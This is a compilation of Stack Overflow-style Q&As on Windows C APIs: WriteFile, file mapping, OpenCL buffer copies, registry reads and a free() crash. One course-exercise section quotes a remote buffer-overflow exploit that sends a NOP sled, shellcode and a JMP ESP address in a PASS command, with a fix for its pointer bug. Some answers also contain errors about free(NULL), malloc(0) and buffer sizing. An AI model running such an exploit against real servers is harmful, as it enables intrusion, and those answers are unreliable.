Writing DWORD to end of file on Windows - c

I am trying to figure out how to write a integer value to the end of my file. The value is size.
DWORD size = 12314432;
BOOL ret = WriteFile(hFile, size, sizeof(DWORD), NULL, NULL);
However WriteFile() requires that parameter 3 be of type LPCVOID so I am not sure how I would give it the DWORD instead.
I have tried..
unsigned char b[sizeof(DWORD)] = {0};
sprintf(b, "%d", size);
WriteFile(hFile, b, sizeof(DWORD), NULL, NULL);
However this just puts the hex value of each digit. So if size=1234 then it would write "31 32 33 44" to end of the file.
I would like the end of the file to just get the number in 4 bytes.

You provide the address of the DWORD like this:
DWORD size = 12314432;
BOOL ret = WriteFile(hFile, &size, sizeof size, NULL, NULL);
Use the ampersand to get the address of the DWORD variable.
Express your intend for the size, you want to write all of size, so say so.

You can pass (void*)&size. You do need something which has an address, like size. You can't pass an expression there. (void*) &(5*7+3) won't work.

Related

Mapping only first letter of file C

how can I map only the first letter of my file??
I've tried these value for parameters :
1, // maximum object size (high-order DWORD)
1, // maximum object size (low-order DWORD)
(i don't know the difference between them).
is 1 the right parameter for an only 1 letter mapping?
#define FILENAME "c:\gibrish.bin"
#include <Windows.h>
#include <stdio.h>
int main()
{
HANDLE hFile;
LPCSTR pFileName = FILENAME;
hFile = CreateFileA(pFileName, // file name
FILE_MAP_ALL_ACCESS, // access type
0, // other processes can't share
NULL, // security
OPEN_EXISTING, // open only if file exists
FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hMapFile;
////////mapping here
hMapFile = CreateFileMappingA(hFile, // file handle
NULL, // default security
FILE_MAP_ALL_ACCESS, // read access
1, // maximum object size (high-order DWORD)
1, // maximum object size (low-order DWORD)
// 0 means map the whole file
"gibrishFile"); // name of mapping object, in case we
// want to share it
return 0;
}
how can I map only the first letter of my file??
I've tried these value for parameters :
1, // maximum object size (high-order DWORD)
1, // maximum object size (low-order DWORD)
these two parameters makes (a huge) number, if the number you want to give is 1 or any other under 2^32 the high-order DWORD must be 0. If you give 1 and 1 this means the number is 1*(2^32) + 1 = 4294967296, this is not compatible with only the first letter
From https://learn.microsoft.com/en-us/windows/desktop/winprog/windows-data-types :
DWORD A 32-bit unsigned integer. The range is 0 through 4294967295 decimal.
There is no parameters FILE_MAP_ALL_ACCESS in CreateFileMappingA msdn doc. The return value will always be failed, with GetLastError() return 87(ERROR_INVALID_PARAMETER). And the folder you are accessing is the "C:\\", If you don't have enough authority, CreateFileA will return a INVALID_HANDLE_VALUE and get error of 5(ERROR_ACCESS_DENIED).
CreateFileMappingA is used for creating space for mapping, but not the actual size you want to map. And then use MapViewOfFile() mapping into the address space of a calling process. And the size you want to map must <= the size you create.

Assignment from Incompatible Pointer Type In C Script

In a course I'm taking, I was given a broken buffer overflow script written in C, and have to fix the broken coding. I've patched a few things so far, but am receiving this error message when trying to compile it (the error showed up from the initial code, not from anything I edited):
646-fixed.c: In function ‘exploit’:
646-fixed.c:48: warning: assignment from incompatible pointer type
Below is the function where the error is occurring. I'm not very familiar with C - but from the responses I received yesterday, I understand that this is happening due to ptr's type being int, & evil's type being char. What I don't understand is what I can do to fix this - can anybody help with this?
You can also see the full script here
void exploit(int sock) {
FILE *test;
int *ptr;
char userbuf[] = "USER madivan\r\n";
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
48 ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// user
printf("[+] Sending Username...\n");
send(sock, userbuf, strlen(userbuf), 0);
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...\n");
sprintf(buf, "PASS %s\r\n", evil);
//test = fopen("test.txt", "w");
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0);
printf("[*] Done! Connect to the host on port 4444...\n\n");
}
Note: I posted this yesterday providing only a few lines of the code, and as a result, couldn't get a clear answer - so I deleted it and am reposting it.
The type of &evil is pointer to length 3001 array or char, or char (*)[3001]. The type of ptr is pointer to int, or int*. Those types are incompatible. You can't assign one to the other.
What you probably need is a pointer to the first element of evil. You can use a pointer to char, i.e. char*, and assign evil to it:
char *ptr;
....
ptr = evil;
Here, evil decays to a pointer to the first element to the array, so the assignment works. This is equivalent to assigning the address of the first element:
ptr = &evil[0];

ClEnqueueCopyBuffer with offset 1

To optimize a kernel i need to make a copy of a cl_mem object with an offset.
count_buffer3[n] = count_buffer[n+1]
is the desired result
Looking at the specification of ClEnqueueCopyBuffer it seems to be possible with a simple argument.
cl_int clEnqueueCopyBuffer ( cl_command_queue command_queue,
cl_mem src_buffer,
cl_mem dst_buffer,
size_t src_offset,
size_t dst_offset,
size_t cb,
cl_uint num_events_in_wait_list,
const cl_event *event_wait_list,
cl_event *event)
My idea was to set dst_offset to 1. So copy_buffer[0] goes to copy_buffer[1]
In my case the command looks like:
clEnqueueCopyBuffer(command_queue, count_buffer, count_buffer3, 1, 0, (inCount1 + 1) * sizeof(int), NULL, NULL, NULL);
So i want to copy count_buffer to count_buffer3 with an offset of 1.
The result should be like this:
count_buffer[1] = 2
count_buffer[2] = 12
count_buffer[3] = 26
count_buffer3[1] = 12
count_buffer3[2] = 26
Unfortunately, if my dst_offset is 1 like shown in the example my complete count_buffer3 object contains only "0" as int values.
If my offset is 0, the copy works fine and both count_buffers are identical.
Additional Information:
Here are the init of the clmem objects:
cl_mem count_buffer3 = clCreateBuffer(context, CL_MEM_READ_WRITE, (inCount1 + 1) * sizeof(int), NULL, &err); errWrapper("create Buffer", err);
cl_mem count_buffer = clCreateBuffer(context, CL_MEM_READ_WRITE, (inCount1+1) * sizeof(int), NULL, &err); errWrapper("create Buffer", err);
I am using INtel INDE update 2 with visual Studio 2013
Am i doing sth wrong here, or should the copy with offset work like this?
Edit:
i reduced the buffer size by one and the result changes.
Instead of all "0" i get some very huge numbers.
example from debug:
count_buffer[0] = 0
count_buffer[1] = 31
count_buffer[2] = 31
count_buffer3[0] = 520093696
count_buffer3[1] = 520093696
count_buffer3[2] = 520093696
It is an improvement to "0" values, but still wrong.
any ideas?
Thanks for the answer so far!
It's very likely clEnqueueCopyBuffer returns an error which you don't check. According to the manual:
CL_INVALID_VALUE is returned if src_offset, dst_offset, cb, src_offset + cb, or dst_offset + cb require accessing elements outside the buffer memory objects.
which seems to be your case.
You probably want to pass size to copy one less than the size of your buffer:
clEnqueueCopyBuffer(command_queue, count_buffer, count_buffer3, 1, 0, inCount1 * sizeof(int), NULL, NULL, NULL);
^^^^^^^^
The offset is in bytes. You probably want an offset of sizeof count_buffer[0] and a size of (n - 1) * sizeof count_buffer[0]:
clEnqueueCopyBuffer(
command_queue, count_buffer, count_buffer3,
sizeof(cl_int), 0,
inCount1 * sizeof(cl_int),
NULL, NULL, NULL);

RegQueryValueEx() always fill 0 in *lpData while reading REG_DWORD

I have a problem with the RegQueryValueEx() function
When I use it, it fill the *lpData with 0
LONG WINAPI RegQueryValueEx(
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpValueName,
_Reserved_ LPDWORD lpReserved,
_Out_opt_ LPDWORD lpType,
_Out_opt_ LPBYTE lpData,
_Inout_opt_ LPDWORD lpcbData
);
Here is the code who doesn't work
#include <windows.h>
#include <stdio.h>
int main()
{
HKEY hKey = NULL;
DWORD data = 42;
DWORD type = REG_DWORD;
DWORD size = sizeof(DWORD);
LONG result;
result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hKey);
if(result == ERROR_SUCCESS)
{
result = RegQueryValueEx(hKey, "InstallDate", NULL, &type, (LPBYTE)&data, &size);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS)
printf("The value is : %d\n", data);
}
return (0);
}
Output:
The value is : 0
I use Visual Studio 2012 and I'm running Win7
EDIT: Corrected line
result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ | KEY_WOW64_64KEY, &hKey);
Thanks to #David Heffernan
You are running a 32 bit process on 64 bit Windows. This means that you are subject to the registry redirector and so are reading out of the 32 bit view of the registry where that value really is 0. The registry redirector is mapping your key to:
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion
Take a look in there in regedit and see that your value is 0.
You'll need to either run your code in a 64 bit process, or read from the 64 view of the registry. To do the latter, include KEY_WOW64_64KEY in the flags you pass when you open the key. More details can be found on MSDN describing how you access alternate registry keys.

Why does this function always crash when free memory?

int gb2Utf8(const char* source, int sourceLen, void *target, int targetLen)
{
int result = 0;
int bufLen = strlen(source) * 2;
wchar_t *buffer = (wchar_t *)malloc(bufLen);
if (!buffer)
{
result = 1;
goto RETURN;
}
//GB18030 code page: 54936
int m2wResult = MultiByteToWideChar(54936, MB_ERR_INVALID_CHARS, source, -1, buffer, bufLen);
if (!m2wResult)
{
result = 2;
goto RETURN;
}
int w2mResult = WideCharToMultiByte(CP_UTF8, WC_ERR_INVALID_CHARS, buffer, -1, (char *)target, targetLen, NULL, NULL);
if (!w2mResult)
{
result = 3;
goto RETURN;
}
RETURN:
free(buffer);
return result;
}
When program runs to free(buffer), it will crash, but I don't know why.
If modify bufLen to a constant value, or remove MultiByteToWideChar function, it won't crash, I also don't know why.
This is the call stack when crash:
msvcr100d.dll!_free_dbg_nolock(void * pUserData, int nBlockUse) Line 1376 + 0x3b bytes C++
msvcr100d.dll!_free_dbg(void * pUserData, int nBlockUse) Line 1265 + 0xd bytes C++
msvcr100d.dll!free(void * pUserData) Line 49 + 0xb bytes C++
New.exe!gb2Utf8(const char * source, int sourceLen, void * target, int targetLen) Line 156 + 0xc bytes C++
New.exe!wWinMain(HINSTANCE__ * hInstance, HINSTANCE__ * hPrevInstance, wchar_t * lpCmdLine, int nCmdShow) Line 29 + 0x11 bytes C++
New.exe!__tmainCRTStartup() Line 547 + 0x2c bytes C
New.exe!wWinMainCRTStartup() Line 371 C
kernel32.dll!7509339a()
[Frames below may be incorrect and/or missing, no symbols loaded for kernel32.dll]
ntdll.dll!77979ef2()
ntdll.dll!77979ec5()
Perhaps for the buffer, you need to allocate memory for the NULL terminator too:
int bufLen = strlen(source) * 2 + 2;
You need not assume the buffer size your self, when you pass 0 as the last parameter to the function MultiByteToWideChar it returns the buffer size including the terminal null character. Then you can create buffer with the returned size and use it.
try this
int wchars_num = MultiByteToWideChar( CP_UTF8 , 0 , source , -1, NULL , 0 );
wchar_t* buffer = (wchar_t *)malloc(wchars_num);
MultiByteToWideChar( CP_UTF8 , 0 , source , -1, buffer , wchars_num );
// do whatever with buffer
free(buffer) ;
The last parameter for MultiByteToWideChar() is the number of characters in the widechar buffer and not the number of bytes. You pass the number of bytes, the function probably writes over the actual buffer and free() checks for that when compiled in debug mode.
And as Jeeva mentioned, the proper way to call this function is by calling it once with NULL output buffer, allocate the buffer with the requested size and then call it again.
First, let's look at :
if (!buffer)
{
result = 1;
goto RETURN;
}
if malloc function failed, it returned NULL, and then buffer was assigned the value NULL, then the program turned to label RETURN due to goto RETURN , then free function was called and free(buffer) means to free(NULL), which is an illegal behavior.
Second, by declaring int bufLen = strlen(source) * 2;, you've assumed that bufLen will always be positive, however, it will be 0 if strlen(source)==0. malloc(0) is a undefined behavior in ANSI-C, so different platform might return different result.
Moreover, you'd better look up the usage of function MultiByteToWideChar carefully. Here is the link in MSDN: MultiByteToWideChar function

Resources